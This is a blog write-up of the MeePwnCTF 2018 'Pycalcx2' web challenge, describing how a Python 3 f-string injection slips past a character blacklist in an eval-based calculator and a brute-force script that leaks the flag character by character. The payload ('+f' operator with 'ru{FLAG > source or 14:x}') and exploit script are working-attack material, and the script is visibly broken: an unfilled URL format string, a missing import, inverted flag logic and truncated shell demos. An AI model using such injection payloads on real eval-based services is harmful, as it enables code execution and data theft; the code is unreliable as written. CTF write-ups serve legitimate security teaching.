MeePwnCTF 2018 Qual Web Pycalcx2 Write-up


This post is also based on the write-up given by p4[1]

Vulnerability Analysis

The only difference between this challenge and the previous one is that op will also be checked against the blacklist used in get_value

def get_value(val):
    val = str(val)[:64]
    if str(val).isdigit(): return int(val)
    blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
    if val == '' or [c for c in blacklist if c in val] != []:
        print('<center>Invalid value</center>')
    return val
def get_op(val):
    val = str(val)[:2]
    list_ops = ['+','-','/','*','=','!']
    if val == '' or val[0] not in list_ops:
        print('<center>Invalid op</center>')
    return val

op = get_op(get_value(arguments['op'].value))

Actually the difference here should be a hint to solve Pycalcx. This time there should not be quote symbol in op.
According to [1], there is a new feature in python3 [2]. The modifer ‘f’ in the form f'{expr}’ will eval the expr. A simple script could be used to verify this feature.

$ cat 
flag = "DANGOKYO{What?}"

$ python3 

Still similar to the techniques used in boolean-based SQL injection, this challenge uses the following combination of get the flag.

arg1 = "T"
op = "+f";
arg2 = ru{FLAG > source or 14:x}
repr(arg1)+repr(op)+repr(arg2) = 'T''+f''ru{FLAG > source or 14:x}'

Another trick used here is how to display ‘e’ in the evaluation result. Since quote and double-quote are both in the blacklist, [1] gives a solution to use 14:x to display ‘e’.


import re
import urllib
import requests

def exploit():
    flag = "M"
    while True:
        prev = 0
        for i in range(0, 0x7f):
            c = chr(i)
            if c in string.printable:
                #print('testing', c)
                arg1 = "T";
                op = "+f";
                arg2 = "ru{FLAG > source or 14:x}"
                print((repr(arg1) + repr(op) + repr(arg2)));
                result = requests.get("http://localhost/cgi-bin/" % (flag + c, 
                    urllib.quote(arg1), urllib.quote(op), urllib.quote(arg2))).text
                if ">>>>" in result:
                    res = re.findall(">>>>.*", result, re.DOTALL)[0]
                    if "True" in res:
                        flag += prev
                        prev = c



Since this is a new feature in python3, I have to use the following command to change python2 to python3.

update-alternatives --config python



Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.